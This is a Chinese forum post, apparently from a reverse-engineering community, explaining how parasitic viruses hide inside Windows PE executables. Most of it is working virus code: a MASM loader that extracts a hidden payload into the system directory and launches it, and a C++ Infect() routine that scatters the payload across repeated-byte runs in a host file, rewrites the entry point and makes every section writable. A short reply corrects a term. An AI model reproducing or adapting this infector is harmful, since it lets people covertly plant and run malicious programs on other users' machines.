【文章标题】: 有效利用PE文件内部空间植入用户程序
【文章作者】: 空手剑客
【编写语言】: C/C++ MASM
【使用工具】: VC++6.0 RadASM PEid
【操作平台】: winXP
【作者声明】: 请勿用于非法目的!
--------------------------------------------------------------------------------
【详细过程】
      寄生型(或者称为植入型)病毒程序将自身的可执行代码附加到宿主程序中,并修改宿主程序的入口地址。当操作系统
  执行宿主程序时,先执行的是病毒程序,随后才执行真正的宿主程序。
      最简单的寄生型病毒程序在宿主程序的尾部增加一个节,包含了全部的可执行病毒程序,但这会明显增加宿主程序的
  文件大小,极易被发现。随着对PE文件格式的深入了解,大家发现每个节的尾部有大量的富余空间可以利用,可以植入相当
  长的可执行代码,这主要是PE文件的节对齐(FileAlignment)所致。在程序执行时每个节都将被载入内存,实际的代码大小由
  各个节的VirtualSize所决定,但是由于提出了节对齐要求,PE文件中每个节的大小将会自动调整到FileAlignment的整数倍,
  当然这样做会导致每个节的实际大小大于代码的大小(碰巧相等的情况相当少见),多余的文件大小在操作系统加载PE文件时
  是无用的,因而可以充分利用这一特点,将可执行代码写入节与节之间的空隙(即补齐部分)。许多新型的病毒都是利用这一
  特点寄生在PE文件中,但是这一空间大小仍然很有限,更大一些的病毒程序代码则无法寄生了。
      本人通过仔细研究PE文件的内容,发现其内部仍有大量的空间可以用于代码植入。例如,程序内部定义变量是会产生大量
  的初始为0空间,尤其是定义数组时。以下面的数据定义为例,
      jumpaddr            dd          0
      hDaemon             dd          0         
      now_basein          dd          0
      byte_read           dd          0
      cDaemonName         db          50 dup(0)
      cSysdir             db          30 dup(0)
  程序文件产生的连续为0空间为96bytes,如果充分利用这一空间,对于提高寄生代码的长度非常有意义。当然需要寻找的空间
  并不一定要连续为0,也可以连续为别的数据。
      在执行宿主程序之前,寄生代码将潜伏在宿主中的可执行代码取出,生成完整的寄生程序,并恢复宿主原有的数据内容。
  实现这一设想的关键技术有以下几个:
      1、寻找宿主程序中的可用空间
      2、寄生代码在宿主程序中的数据结构
      3、寄生代码的重组
      4、宿主程序数据的恢复
  
   关键1的解决方法很简单:在宿主程序中寻找数据连续相等的位置,以byte为单位计算。
   关键2的解决方法要求信息完整,保证有效提取寄生程序,保证能够有效恢复原有数据。在这里采用如下的结构
   struct Header
   {
      BYTE  OriginData;
      DWORD DataLength;
      DWORD NextVirtualAddress;
   },共9 bytes.
   有了关键2的解决方法,关键3和4的解决就相对容易多了
   do NextVirtualAddress!=0
  {  
     Code = Code + NextVirtualAddress[0]~NextVirtualAddress[DataLength-1]
     NextVirtualAddress[0-8]~NextVirtualAddress[DataLength-1]=NextVirtualAddress[0]~NextVirtualAddress[-9]
  }
    具体的实现方法见源代码,里面还有许多具体的处理技巧。
  
    具体的处理过程如下:
    1、编写 Loader.asm,生成可执行文件,用PEid将Loader的关键节提取出来 loader.exe.section-3.dmp
    2、编写 daemon.cpp,生成可执行文件daemon.exe并用upx压缩,这样做无非就是想尽量缩减exe文件大小
    3、将daemon.exe和loader.exe.section-3.dmp拷贝只一个文件 copy /b daemon.exe + loader.exe.section-3.dmp ND.exe
    4、运行ND文件即可。
  
  ;**************************************************************
  ;*                                                            *
  ;*                        Loader.asm                          *
  ;*                                                            *
  '**************************************************************
  .386
  .model flat,stdcall
    option casemap:none
   
    include windows.inc
    include kernel32.inc
    include comctl32.inc
    include user32.inc
    include gdi32.inc
    include comdlg32.inc
    include shell32.inc  
  
    includelib gdi32.lib
    includelib kernel32.lib
    includelib comctl32.lib
    includelib user32.lib
    includelib comdlg32.lib
    includelib shell32.lib
  
  .code
      invoke ExitProcess,0
  ;主程序代码,Loader执行完后会转入此处,最终无用。
  
  
   Loader SEGMENT PARA USE32 "Loader"
      assume cs:Loader ,ds:Loader 
   vstart:
      push ebp
      push esp
      call nstart
   nstart:    
  ;;;;;;;;;;;;;
      pop ebp
      sub ebp,offset nstart
  ;常用的一种方法。得到一个偏移差。
  ;程序后面用到的所有变量都需要加上个这偏移差
  ;------------------------------------(上面的)--
  
      mov now_basein[ebp],401000h 
  ;   正确的程序入口,需要根据实际情况修改
      mov edi,401000h
  ;   数据提取地址,需要根据实际情况修改    
  ;------------------------------------(上面的)--
  
      push 50
      lea  eax, cSysdir[ebp]  ;Daemon
      push eax
      call vGetSystemDirectory
  
      mov eax, ebp
      add eax, ebx
      add eax, edi
      
      push eax
      lea  eax, cSysdir[ebp]  ;Daemon    
      push eax    
      lea  eax, cFmtstr[ebp]
      push eax
      lea  eax, cDaemonName[ebp]  ;Daemon
      push eax
      call vwsprintf
      add esp,10h ;保证堆栈平衡
      
      push 0
      push FILE_ATTRIBUTE_NORMAL
      push CREATE_ALWAYS
      push 0
      push FILE_SHARE_READ+FILE_SHARE_WRITE
      push GENERIC_READ+GENERIC_WRITE
      lea eax, cDaemonName[ebp]  ;Daemon
      push eax
      call vCreateFile
  
      mov hDaemon[ebp],eax        
  ;打开文件Daemon
  ;------------------------------------(上面的)--
  
  ; OriginData   DataLength   NextAddress
  ;   1 db        1 dd          1 dd  
  
  loop_extract:
  
      mov esi, edi
      mov dh, byte ptr [esi]          ; dh - data to be restored
      mov ebx, dword ptr [esi+1]      ; ebx - DataLength
      mov edi, dword ptr [esi+5]      ; edi - NextAddress
      
      cmp ebx,0        ;DataLength=0,continue
      jle label_1
      
      cmp hDaemon[ebp],INVALID_HANDLE_VALUE
      jz label_1       ;跳过写Daemon,继续恢复数据  
  
      push edx
      push 0
      lea  eax,byte_read[ebp]
      push eax
      push ebx
      add  esi, 9
      push esi
      push hDaemon[ebp]
      call vWriteFile
  ;写数据
  ;---------------------------------------
      pop edx
      lea eax, vstart[ebp]
      cmp eax, esi
      jz  label_1   
  ;如果是Loader,不需要恢复原始数据
      
      add ebx,8
  loop_restore:    
      mov byte ptr [esi-9+ebx], dh
      dec ebx
      jnz loop_restore    
  ;恢复原始数据
  ;---------------------------------------
  
  label_1:
      cmp  edi, 0
      je   finish_read
      
  ; 下一段的入口地址NextAddress为0表示结束    
  ;--------------------------------------------
      jmp  loop_extract
          
  finish_read:
   
      push hDaemon[ebp]
      call vCloseHandle
      
      lea eax,cSysdir[ebp]
      push SW_SHOW
      push eax
      push eax
      lea  eax,cDaemonName[ebp]
      push eax
      lea  eax,cOpCode[ebp]
      push eax
      push NULL 
      call vShellExecute
  ;打开提取出来的文件
  ;------------------------------------(上面的)--
  
  createfail:
  ;###########################################;
  ; 恢复寄存器,跳回原程序处   
  ;------------------------------------------
       mov eax,now_basein[ebp]
       pop esp
       pop ebp
       push eax
  ;-------< 做好返回原程序的准备 >-----------
  
      ret     ;返回主程序
  
  ;--------------------------
  ; 函数调用地址
  ;--------------------------
   vGetWindowsDirectory:
      mov jumpaddr[ebp],7C82293Bh
      jmp jumpaddr[ebp]
  ;00402004 >7C82293B  kernel32.GetWindowsDirectoryA
  
   vGetSystemDirectory:
      mov jumpaddr[ebp],7C814C63h
      jmp jumpaddr[ebp]
  ;00402004 >7C814C63  kernel32.GetSystemDirectoryA
      
   vGetCommandLine:
      mov jumpaddr[ebp],7C812C8Dh
      jmp jumpaddr[ebp]
  ;00402000 >7C812C8D  kernel32.GetCommandLineA
   vwsprintf: 
      mov jumpaddr[ebp],77D1A2DEh
      jmp jumpaddr[ebp]
  ;00402010 >77D1A2DE  user32.wsprintfA
  
   vCreateFile: 
      mov jumpaddr[ebp],7C801A24h
      jmp jumpaddr[ebp]
  ;00490628 >7C801A24  kernel32.CreateFileA
  
    vSetFilePointer: 
      mov jumpaddr[ebp],7C810DA6h
      jmp jumpaddr[ebp]
   ;00490634 >7C810DA6  kernel32.SetFilePointer
  
    vReadFile: 
      mov jumpaddr[ebp],7C80180Eh
      jmp jumpaddr[ebp]
  ;00490638 >7C80180E  kernel32.ReadFile
  
    vWriteFile: 
      mov jumpaddr[ebp],7C810F9Fh
      jmp jumpaddr[ebp] 
  ;0049061C >7C810F9F  kernel32.WriteFile
  
    vCloseHandle: 
      mov jumpaddr[ebp],7C809B77h
      jmp jumpaddr[ebp]
  ;00490654 >7C809B77  kernel32.CloseHandle
  
    vMessageBox: 
      mov jumpaddr[ebp],77D5050Bh
      jmp jumpaddr[ebp]
  ;00402008 >77D5050B  user32.MessageBoxA
  
   vGetSystemTime: 
      mov jumpaddr[ebp],7C80176Bh
      jmp jumpaddr[ebp]
  ;00402000 >7C80176B  kernel32.GetSystemTime
  
    vExitProcess: 
      mov jumpaddr[ebp],7C81CAA2h
      jmp jumpaddr[ebp]
      
  ;00490600 >7C81CAA2  kernel32.ExitProcess
    vShellExecute: 
      mov jumpaddr[ebp],773EFE44h
      jmp jumpaddr[ebp]
  ;ds:[0040200C]=773EFE44 (shell32.ShellExecute)
  
  
  ;不同的WIN系统这里的地址是不同的。
  ;因此说并不是每个WIN系统都会传染的
  ;------------------------------------(上面的)--  
  
      ALIGN 4
      jumpaddr            dd          0
      hDaemon             dd          0         
      now_basein          dd          0
      byte_read           dd          0
      cOpCode             db          "open",0
      cDaemonName         db 50 dup(0)
      cSysdir             db 30 dup(0)
      cFmtstr      db "%s\%lX.exe"
  
   vend:
   Loader ends
  
  end vstart
  
  
  //**************************************************************
  //*                                                            *
  //*                       daemon.cpp                           *
  //*                                                            *
  //**************************************************************
  
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <windows.h>
  #include <SHELLAPI.H>
  struct SectionInfo
  {
    BYTE Flag;
    struct _CurrentPos__
    {
      DWORD RawAddress;
      DWORD VirtualAddress;
    } CurrentPos;
    union __Length__
    {
      DWORD DataLength;
      DWORD FreeSpace;
    }Length;
    struct __NextPos__
    {
      DWORD RawAddress;
      DWORD VirtualAddress;
    }NextPos;
  };
     const int LoaderSize=567 ;  // loader.exe.section-3.dmp的大小
     const int DaemonSize=33280 ;// daemon.exe大小,如果压缩过,则应改为压缩后的文件大小
     const int ep=0x14;          // Loader.asm中 mov now_basein[ebp],401000h,401000h的二进制偏移
     const int head_size=9;      // 关键2中提出的数据结构大小
  
  
  
  bool Infect()
  {
    bool ret=true;
          char *HostName="c:\\target.exe";
    char *DataName="c:\\ND.exe";      //需要写入的数据 daemon+loader
    LONG e_lfanew;
    LONG PE_sig;
  
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
  
    struct SectionInfo  *mySecInfo;
  
    IMAGE_SECTION_HEADER  *SectionHeader;
    bool LoaderSecInfo;
    bool SuitableInject;
  
    HANDLE hHost,hData;
    unsigned int i,j;
    DWORD tmp;
    char cc;
    int cnt;
    unsigned int id=1;
    int FreeSpace=0;
  
    char  *data;
    char  *LoaderData,*DaemonData;
    DWORD bytes_write=0;
    DWORD bytes_read;
    DWORD LoaderSection=0xFF;
  
    mySecInfo=(struct SectionInfo *)GlobalAlloc(0,sizeof(SectionInfo)*2000);
    if(mySecInfo==NULL)
    {
  #ifdef _DEBUG
      printf("mySecInfo==NULL \n");
  #endif
      ret=false;
      goto exit_IO;
    }
    hHost=CreateFile(HostName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_WRITE|FILE_SHARE_READ, 
            NULL, OPEN_EXISTING, NULL, NULL);
    hData=CreateFile(DataName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_WRITE|FILE_SHARE_READ, 
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  
    if(hHost==INVALID_HANDLE_VALUE || hData==INVALID_HANDLE_VALUE)
    {
  #ifdef _DEBUG
      printf("hHost==NULL || hData==NULL \n");
  #endif
      ret=false;
      goto exit_IO;
    }
  //读取PE入口地址
    SetFilePointer(hHost,0x3C,0,FILE_BEGIN);
    ReadFile(hHost,&e_lfanew,sizeof(e_lfanew),&bytes_read,0);
    SetFilePointer(hHost,e_lfanew,0,FILE_BEGIN);
    ReadFile(hHost,&PE_sig,sizeof(PE_sig),&bytes_read,0);
    if(PE_sig!=IMAGE_NT_SIGNATURE)
    {
  #ifdef _DEBUG
      printf("PE_sig!=IMAGE_NT_SIGNATURE\n");
  #endif
      ret=false;
      goto exit_IO;// not NT file
    }
    
    ReadFile(hHost,&FileHeader,sizeof(IMAGE_FILE_HEADER),&bytes_read,0);
    ReadFile(hHost,&OptionalHeader,sizeof(IMAGE_OPTIONAL_HEADER),&bytes_read,0);
  
    SectionHeader=(IMAGE_SECTION_HEADER *)GlobalAlloc(0,sizeof(IMAGE_SECTION_HEADER)*FileHeader.NumberOfSections);
    if(SectionHeader==NULL)
    {
  #ifdef _DEBUG
      printf("SectionHeader==NULL\n");
  #endif
      //system("pause");
      ret=false;
      goto exit_IO;
    }
  
    FreeSpace=0;
    //printf("FileHeader.NumberOfSections= %x\n",FileHeader.NumberOfSections);
    
    //读取各Section的信息
    for(i=0;i<FileHeader.NumberOfSections;i++)
      ReadFile(hHost,&SectionHeader[i],sizeof(IMAGE_SECTION_HEADER),&bytes_read,0);
  
    //寻找可以写入Daemon和Loader的空间
    LoaderSecInfo=false;
    SuitableInject=false;
  
    id=1;
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      //优先寻找存放Loader的空间
      if(SectionHeader[i].SizeOfRawData>SectionHeader[i].Misc.VirtualSize+LoaderSize+head_size) 
      {
        mySecInfo[0].Length.DataLength=LoaderSize;
        mySecInfo[0].Flag=0;
        mySecInfo[0].NextPos.RawAddress=0;
        mySecInfo[0].NextPos.VirtualAddress=0;
        mySecInfo[0].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+ 
                          SectionHeader[i].Misc.VirtualSize+OptionalHeader.ImageBase;
        mySecInfo[0].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData+SectionHeader[i].Misc.VirtualSize;
        LoaderSecInfo=true;
        LoaderSection=i;
        if(SectionHeader[i].SizeOfRawData>SectionHeader[i].Misc.VirtualSize+LoaderSize+0x60) //如果存放Loader后仍有空间,继续存放Daemon
        {
          id=1;
          mySecInfo[id].Length.DataLength=SectionHeader[i].SizeOfRawData-SectionHeader[i].Misc.VirtualSize 
                                               -LoaderSize-head_size*2;
          mySecInfo[id].Flag=0;
          mySecInfo[id].CurrentPos.VirtualAddress=mySecInfo[0].CurrentPos.VirtualAddress
                                                +mySecInfo[0].Length.DataLength+head_size;
          mySecInfo[id].CurrentPos.RawAddress=mySecInfo[0].CurrentPos.RawAddress
                                             +mySecInfo[0].Length.DataLength+head_size;
          FreeSpace+=mySecInfo[id].Length.DataLength;
          id+=1;
        }
        break;
      }
    }
    if(!LoaderSecInfo)
    {
  #ifdef _DEBUG
      printf("LoaderSecInfo==NULL\n");
  #endif
      ret=false;
      goto exit_IO;
    }
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      if(SectionHeader[i].SizeOfRawData<SectionHeader[i].Misc.VirtualSize)
        continue;
      data=(char *)GlobalAlloc(0,SectionHeader[i].SizeOfRawData);
      if(data==NULL)
      {
  #ifdef _DEBUG
        printf("data==NULL\n");
  #endif
        //system("pause");
        ret=false;
        goto exit_IO;
      }
  
      SetFilePointer(hHost,SectionHeader[i].PointerToRawData,0,FILE_BEGIN);
      if(i==LoaderSection)
        bytes_read=SectionHeader[i].Misc.VirtualSize;
      else
        bytes_read=SectionHeader[i].SizeOfRawData;
      ReadFile(hHost,data,bytes_read,&tmp,0);
  
      cc=data[0];
      cnt=1;
      mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+OptionalHeader.ImageBase;
      mySecInfo[id].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData;
  
      for(j=1;j<bytes_read;j++)
      {
        if(data[j]==cc)
          cnt+=1;
        else
        {
          if(cnt>0x50) //可以用于数据存放的空间长度下限
          {
            mySecInfo[id].Flag=cc;
            mySecInfo[id].Length.DataLength=cnt-head_size;
            FreeSpace+=mySecInfo[id].Length.DataLength;
            id+=1;
            if(FreeSpace>=DaemonSize)
            {
              mySecInfo[id-1].Length.DataLength-=(FreeSpace-DaemonSize);
              mySecInfo[id-1].NextPos.RawAddress=mySecInfo[0].CurrentPos.RawAddress;
              mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo[0].CurrentPos.VirtualAddress;
              SuitableInject=true;
              GlobalFree(data);
              i=0xFFFFFFF;
              j=0xFFFFFFF;
              break;
            }
          }
          cc=data[j];
          cnt=1;
          mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+j+OptionalHeader.ImageBase;
          mySecInfo[id].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData+j;
          mySecInfo[id-1].NextPos.RawAddress=mySecInfo[id].CurrentPos.RawAddress;
          mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo[id].CurrentPos.VirtualAddress;
        }
      }
      if(data!=NULL)
        GlobalFree(data);
  //    printf("\t\tFreeSpace: %x\n",FreeSpace);
  //    system("pause");
    }
  
  #ifdef _DEBUG
    printf("=======================================\n");
  #endif
    //printf("LoaderSize =  0x%x  \n",LoaderSize);
    //printf("FreeSpace  =  0x%x  \n",FreeSpace);
    //printf("DaemonSize =  0x%x  \n",DaemonSize);
    //system("pause");
  
    if(!LoaderSecInfo || !SuitableInject)
    {
      ret=false;
      goto exit_IO;
    }
  #ifdef _DEBUG
    
    for(j=1;j<=id-1;j++)
    {
      printf("\t\tIndex: %x\n",j);
      printf("\t\tFreeSpace: %x\n",mySecInfo[j].Length.DataLength);
      printf("\t\tVirtualAddress: %x\n",mySecInfo[j].CurrentPos.VirtualAddress);
      printf("\t\tRawAddress: %x\n",mySecInfo[j].CurrentPos.RawAddress);
      printf("\t\tData: %x\n",mySecInfo[j].Flag);
      printf("\t\tNextPos: %x\n",mySecInfo[j].NextPos);
      printf("\n");    
    }
    j=0;
    printf("\t\tIndex: %x\n",j);
    printf("\t\tFreeSpace: %x\n",mySecInfo[j].Length.DataLength);
    printf("\t\tVirtualAddress: %x\n",mySecInfo[j].CurrentPos.VirtualAddress);
    printf("\t\tRawAddress: %x\n",mySecInfo[j].CurrentPos.RawAddress);
    printf("\t\tData: %x\n",mySecInfo[j].Flag);
    printf("\t\tNextPos: %x\n",mySecInfo[j].NextPos);
    printf("\n");    
    system("pause");
  #endif
    DaemonData=(char*)GlobalAlloc(0,DaemonSize);
    if(DaemonData==NULL)
    {
      ret=false;
      goto exit_IO;
    }  
    LoaderData=(char*)GlobalAlloc(0,LoaderSize);
    if(LoaderData==NULL)
    {
      GlobalFree(DaemonData);
      ret=false;
      goto exit_IO;
    }
  
    ReadFile(hData,DaemonData,DaemonSize,&bytes_read,0);
    ReadFile(hData,LoaderData,LoaderSize,&bytes_read,0);
    data=DaemonData;
    //写入Daemon,(DataFlag,DataLength,Next_VirtualAddress,共9个字节)
    for(j=1;j<=id-1;j++)
    {
      SetFilePointer(hHost,mySecInfo[j].CurrentPos.RawAddress,0,FILE_BEGIN);
      WriteFile(hHost,&mySecInfo[j].Flag,1,&tmp,0);
      //WriteFile(hHost,&mySecInfo[j].CurrentPos.VirtualAddress,4,&tmp,0);
      WriteFile(hHost,&mySecInfo[j].Length.DataLength,4,&tmp,0);
      WriteFile(hHost,&mySecInfo[j].NextPos.VirtualAddress,4,&tmp,0);
      WriteFile(hHost,data,mySecInfo[j].Length.DataLength,&tmp,0);
      data+=mySecInfo[j].Length.DataLength;
    }
  
    data=LoaderData;
    //在Loader中填写Host的原始EntryPoint
    tmp=OptionalHeader.AddressOfEntryPoint+OptionalHeader.ImageBase;
    data[ep  ]=(char)(tmp&0x000000ff);
    data[ep+1]=(char)((tmp&0x0000ff00)>>8);
    data[ep+2]=(char)((tmp&0x00ff0000)>>16);
    data[ep+3]=(char)((tmp&0xff000000)>>24);
          
          //在Loader中填写Daemon的第一段数据偏移地址
    tmp=mySecInfo[1].CurrentPos.VirtualAddress;
    data[ep+5]=(char)(tmp&0x000000ff);
    data[ep+6]=(char)((tmp&0x0000ff00)>>8);
    data[ep+7]=(char)((tmp&0x00ff0000)>>16);
    data[ep+8]=(char)((tmp&0xff000000)>>24);
  
    SetFilePointer(hHost,mySecInfo[0].CurrentPos.RawAddress,0,FILE_BEGIN);
    WriteFile(hHost,&mySecInfo[0].Flag,1,&tmp,0);
    WriteFile(hHost,&mySecInfo[0].Length.DataLength,4,&tmp,0);
    WriteFile(hHost,&mySecInfo[0].NextPos.VirtualAddress,4,&tmp,0);
    WriteFile(hHost,data,mySecInfo[0].Length.DataLength,&tmp,0);
  
    GlobalFree(DaemonData);
    GlobalFree(LoaderData);
  
    //OptionalHeader的+16位置为EntryPoint
    SetFilePointer(hHost,e_lfanew+sizeof(PE_sig)+sizeof(IMAGE_FILE_HEADER)+16,0,FILE_BEGIN);
    tmp=mySecInfo[0].CurrentPos.VirtualAddress-OptionalHeader.ImageBase+9; //第9个字节为可执行代码
    WriteFile(hHost,&tmp,4,&bytes_write,0); //改写EntryPoint
  
    //将Section属性改为可读和可写
    SetFilePointer(hHost,e_lfanew+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)
        ,0,FILE_BEGIN);
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      SectionHeader[i].Characteristics=SectionHeader[i].Characteristics|0x40000000|0x80000000;
      WriteFile(hHost,&(SectionHeader[i]),sizeof(IMAGE_SECTION_HEADER),&tmp,0);
    }
    GlobalFree(SectionHeader);
    GlobalFree(mySecInfo);
  #ifdef _DEBUG
    printf("OK!\n");
  #endif
    ret=true;
  exit_IO:
    CloseHandle(hHost);
    CloseHandle(hData);
    return ret;
  }
  
  
  
  在研究过程中参考了BadDay病毒、看雪论坛出的PE文件格式研究,在此向所有作者表示感谢。
  出于安全考虑此处就不贴出完整的源代码和编译好的程序,对病毒有兴趣的朋友可以私下交流研究。

  • 标 题:这个不叫偏移差,叫重定位
  • 作 者:火影
  • 时 间:2007-10-10 12:47

push ebp
push esp
call nstart
nstart:    
pop ebp
sub ebp,offset nstart
;常用的一种方法。得到一个偏移差。
;程序后面用到的所有变量都需要加上个这偏移差